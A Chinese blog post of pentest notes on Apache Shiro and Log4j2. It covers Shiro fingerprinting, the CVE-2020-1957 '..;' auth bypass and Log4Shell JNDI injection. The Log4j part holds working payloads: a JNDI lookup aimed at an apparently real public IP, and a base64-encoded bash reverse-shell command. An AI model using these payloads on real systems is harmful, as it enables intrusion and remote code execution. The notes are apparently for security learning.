框架漏洞(后续补充)

shiro和log4j

Apache Shiro 和 Apache Log4j2 都是由 Apache 软件基金会维护的开源项目,但它们并不属于中间件,而是属于不同类别的工具或库。让我们详细了解它们的功能以及它们与中间件的区别。

Apache Shiro 是一个强大的 Java 安全框架,用于处理身份验证、授权、加密和会话管理。它主要用于保护 Java 应用程序,确保只有经过认证和授权的用户才能访问应用的特定部分。

Apache Log4j2 是一个用于日志记录的 Java 库。它允许开发者在应用程序中生成日志信息,用于记录系统的运行状态、错误信息、调试数据等。这些日志数据对系统维护和问题排查非常重要。

区别中间件(apache)

  • Apache ShiroApache Log4j2 都不是中间件,它们分别是一个安全框架和一个日志库。
  • 中间件 提供的是跨系统或跨服务的功能,如消息传递、数据转换、事务管理等,而 Shiro 专注于安全性,Log4j2 专注于日志记录。

类比

假设我们有一家银行:

  • 中间件:就像银行的后台系统,它处理各种客户请求,确保信息在不同部门之间传递,并管理复杂的流程(如贷款审批)。

  • Apache Shiro:就像银行的安保系统,确保只有经过认证的员工和客户才能进入特定区域(例如金库)。

  • Apache Log4j2:就像银行的监控系统,记录每个进出金库的人和每一笔交易,方便以后查看和分析。

所以Apache Shiro 是银行的安保,Log4j2 是监控系统,而中间件则是整个银行运营的幕后管理者

shiro

判断网站是否使用shiro

  1. 找到网站登录的地方,随便输入账号密码抓包(一定要输入点击登录),看返回包是否有remembeMe字段
  2. 如果以上有返回remembeMe字段还可以尝试在请求包中的cookie中加入 rememberMe=1 ,来查看返回包是否有rememberMe=deleteMe字段。如果cookie字段有值则先清空

CVE-2016-4437

访问登陆框

shiro特征,爆破key

反弹shell

注入内存马

连接

 Apache Shiro 认证绕过漏洞

CVE-2020-1957漏洞利用了Apache Shiro和Spring Boot对URL处理的差异性,攻击者可以构造特定的URL,绕过Shiro对Spring Boot中Servlet的权限控制,实现未授权的越权访问。影响版本为Apache Shiro < 1.5.2

访问/admin/,会被重定向到登录页面:

 构造恶意请求/xxx/..;/admin/,即可绕过权限校验,访问到管理页面:

请求/xxx/..;/admin/时,如果路径解析器不正确处理..;,将其忽略或错误处理为/admin/,Shiro的路径检查就会失效,允许未经授权的访问

Log4j

Apache Log4j2 lookup JNDI

Apache Log4j2的某些版本中,攻击者可通过JNDI注入执行远程代码。这通常涉及到恶意的日志消息,允许攻击者访问服务器上的资源。

http://61.188.177.183:11328/solr/admin/cores?action=${jndi:ldap://kl2l0g.dnslog.cn}

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEyOC81MDA2MCAwPiYxCg==}|{base64,-d}|{bash,-i}" -A 192.168.56.128 

-c是执行的bash命令,-A是指JNDI服务器IP

../solr/admin/cores?action=${jndi:ldap://192.168.56.128:1389/pzsdg1}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值